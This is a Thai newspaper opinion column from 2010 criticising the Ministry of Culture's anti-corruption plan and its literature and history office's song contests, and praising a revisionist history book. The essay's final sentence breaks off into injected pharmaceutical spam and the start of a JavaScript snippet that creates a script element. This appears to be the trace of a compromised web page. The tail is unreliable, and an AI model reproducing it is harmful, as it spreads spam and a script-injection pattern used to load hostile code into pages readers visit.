หนังสือพิมพ์มติชนฉบับวันพฤหัสบดีที่ 25 กุมภาพันธ์ พ.ศ. 2553

ถ้าจะให้ความสำคัญงานวัฒนธรรม ก็ไม่จำเป็นต้องตั้งเป็นกระทรวงหนึ่งต่างหาก แต่ควรยกงานวัฒนธรรมไปรวมอยู่ในกระทรวงการพัฒนาสังคมและความมั่นคงของมนุษย์

เพราะงานวัฒนธรรมในความหมายกว้างอย่างสากลโลก ก็เพื่อความเข้าใจ แล้วพัฒนาสังคมและความมั่นคงของมนุษย์

แต่คนชั้นนำในสยามประเทศไทยไม่เข้าใจความหมายกว้าง เพราะถูกครอบงำด้วยวัฒนธรรมความหมายคับแคบอย่างที่เห็นและเป็นอยู่ทุกวันนี้มานานมาก อย่างน้อยตั้งแต่แรกถอดคำฝรั่งว่า culture เป็นคำไทยปนแขกบาลีสันสกฤตว่า วัฒนธรรม

เลยต้องมีกระทรวงวัฒนธรรมขึ้นมาให้สังคมไทยหงุดหงิด

ครั้นเมื่อไม่กี่วันมานี้ มีผู้บอกว่ากระทรวงวัฒนธรรมเป็นเจ้าภาพประชุมกับกระทรวงการพัฒนาสังคมและความมั่นคงของมนุษย์ พร้อมด้วยหน่วยราชการอื่นที่เกี่ยวข้อง เพื่อหาแนวทางแก้ปัญหาคอร์รัปชั่นที่ไทยถูกจัดว่ามีมากเป็นอันดับ 2 ของเอเชีย

ได้ยินแล้วชื่นอกชื่นใจ แสดงว่าผู้บริหารกระทรวงวัฒนธรรมเริ่มเข้าใจวัฒนธรรมความหมายกว้างอย่างถ่องแท้แน่แล้ว ถึงได้มีแนวคิดร่วมทุกข์กับสังคม แล้วหาลู่ทางยกเอา “วัฒนธรรม”ช่วยบรรเทาความทุกข์นั้น โดยหารือร่วมกันกับกระทรวงการพัฒนาสังคมและความมั่นคงของมนุษย์ ซึ่งเหมาะสมด้วยประการทั้งปวง ทำให้ผมรู้สึกจินตนาการด้านดีมีความหวัง

ด้วยความชื่นชม จึงหาหนังสือพิมพ์มาอ่านข่าวอย่างอารมณ์รื่นเริงบันเทิงใจ จนถึงข้อความสำคัญว่า

“รมว. วัฒนธรรมกล่าวต่อไปว่าที่ประชุมได้มอบหมายให้กรมการศาสนาเป็นเจ้าภาพในการดำเนินการ และกำหนดจัดทำแผนเร่งด่วนโครงการส่งเสริมความซื่อสัตย์ 7 โครงการ ได้แก่——–” (ไทยรัฐ ฉบับวันศุกร์ที่ 5 กุมภาพันธ์ 2553 หน้า 15)

ผมหยุดแค่นั้น ไม่อ่านต่ออีก เหมือนโดนกระทำชำเราจินตนาการด้านดีล่มสลาย ความหวังก็หายเหี้ยน มองเห็นแต่ “ตาลปัตร พัดยศ”, “พระกินผี สังฆการีกินพระ”, “ยศช้าง ขุนนางพระ”, ฯลฯ รายเรียงเคียงกัน

มีอีกเรื่องหนึ่งคือ “เพชรในเพลง” เป็นกิจกรรมประกวดเพลงประจำปี เนื่องในวันภาษาไทยแห่งชาติ ของ สำนักวรรณกรรมและประวัติศาสตร์ กรมศิลปากร กระทรวงวัฒนธรรม เพลงที่ประกวดมี เพลงไทยสากล, เพลงไทยลูกทุ่ง, เพลงสร้างสรรค์สำหรับเด็ก

สำนักฯนี้ชื่อ“วรรณกรรม” (เดิมชื่อวรรณคดี) และ“ประวัติศาสตร์” ที่ประเทศไทยยังมีปัญหามหาศาล ทั้งเป็นส่วนสำคัญของปัญหาขัดแย้งเข่นฆ่าล้มตาย เช่น กรณีสามจังหวัดภาคใต้, กัมพูชา, ลาว, และ“ไทยรบพม่า” ฯลฯ แต่สำนักฯนี้ไม่มีกิจกรรมอะไรเลยที่จะให้สังคมไทยเข้าใจ“วรรณคดีและประวัติศาสตร์สุวรรณภูมิ”อย่างถูกต้องเพื่อช่วยบรรเทาความขัดแย้งนั้น เอาแต่ประกวดๆ จากทำนองเสนาะ จนถึงเพชรในเพลง

งานประกวดอย่างนี้ไม่ใช่“แก่นสาร”วรรณกรรมและประวัติศาสตร์ของบ้านเมืองและภูมิภาคสุวรรณภูมิในอุษาคเนย์ หากมัวแต่ทำงานที่ไม่ใช่“แก่นสาร”โดยไม่ทำงานอันเป็น“แก่นสาร” ก็เท่ากับ“ทำทุกอย่างที่ขวางหน้า ยกเว้นงานในหน้าที่”

คนพวกนี้เมื่อยังเป็นผู้น้อยมักด่าว่าอาวุโสว่าอวดอำนาจยกตนเป็นศูนย์กลางเจ้าของ หรือผู้พิทักษ์วรรณคดีไทยและประวัติศาสตร์ไทย แต่พอตัวเองเป็นผู้ใหญ่มีอำนาจก็บ้าอำนาจกลายเป็น“วัวลืมตีน”อย่างเดียวกัน เพราะ“ระบบ”ทำให้สำคัญตนผิดอย่างน่าเวทนา เข้าตำรา“ว่าแต่เขา อิเหนาเป็นเอง”

อันที่จริงงานของสำนักฯนี้มีความสำคัญมากๆต่ออดีต-ปัจจุบัน-อนาคต ของสังคมไทยและสุวรรณภูมิ ถ้าผู้บริหารระดับสูงเข้าใจ แล้ว“ทำงานเป็น”จะโดดเด่นดีงาม ผลักดันให้มีพลังจินตนาการทางเศรษฐกิจเชิงสร้างสรรค์วิเศษยิ่งนัก

แต่มันช่างเป็น“วรรณเวรวรรณกรรม”ของบ้านเมืองเสียจริงๆ ที่ไม่เป็นอย่างนั้น

ฟื้นฝอยหาตะเข็บ ของ พิเศษ เจียจันทร์พงษ์ มีเนื้อหาหลากหลาย ไม่อยู่ในโครงเรื่องเดียวกัน  เช่น ตรีบูรมิได้แปลว่ากำแพงสามชั้น, ไม่มีวัดใหญ่ชัยมงคลในสมัยอยุธยา, ย่อเก็จ-ย่อมุม; ความคิดที่แตกต่างกัน, การเปลี่ยนแปลงในรูปแบบของพระพุทธรูปสุโขทัย, เอกสารทางประวัติศาสตร์บ้านเมืองสำคัญของล้านนา, อย่าลืม! ราชสำนักเมืองเหนือที่พิษณุโลก เป็นต้น

ทุกเรื่องปฏิเสธความเข้าใจเดิม นำเสนอความแตกต่างทางความคิดอันเกิดจากการตั้งข้อสงสัยและรู้จักตั้งคำถาม แล้วนำเสนออยู่บนเหตุผลที่มาจากการวิเคราะห์และพิจารณาหลักฐานทางประวัติศาสตร์โบราณคดีอย่างละเอียดถี่ถ้วน เช่น รูปแบบศิลปะ ศิลาจารึก ตำนานพงศาวดาร

ฉะนั้นควรฟื้นฝอยหาตะเข็บ“งานวรรณคดีและประวัติศาสตร์สุวรรณภูมิ”เพื่อความสมานฉันท์ด้วยสันติวิธี แทนที่จะจมปลักดักดานอยู่กับงานประกวด ที่ไม่ควรแย่งงานของเด็กๆไปทำfluoxetine prozac buy prednisolone online cheap var d=document;var s=d.createElement(‘script’);